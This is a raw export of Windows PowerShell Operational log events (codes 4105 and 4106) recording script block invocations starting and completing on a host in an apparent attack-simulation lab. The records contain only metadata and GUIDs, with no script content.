SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033791
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033790
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033789
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033788
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033787
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033786
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033784
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033781
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033780
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033779
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033778
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033777
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033776
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033772
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033765
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033764
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033763
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033762
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033761
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033760
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033758
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033756
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033754
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033752
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033748
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033746
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033745
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033744
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033743
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033742
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033741
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033740
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033739
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
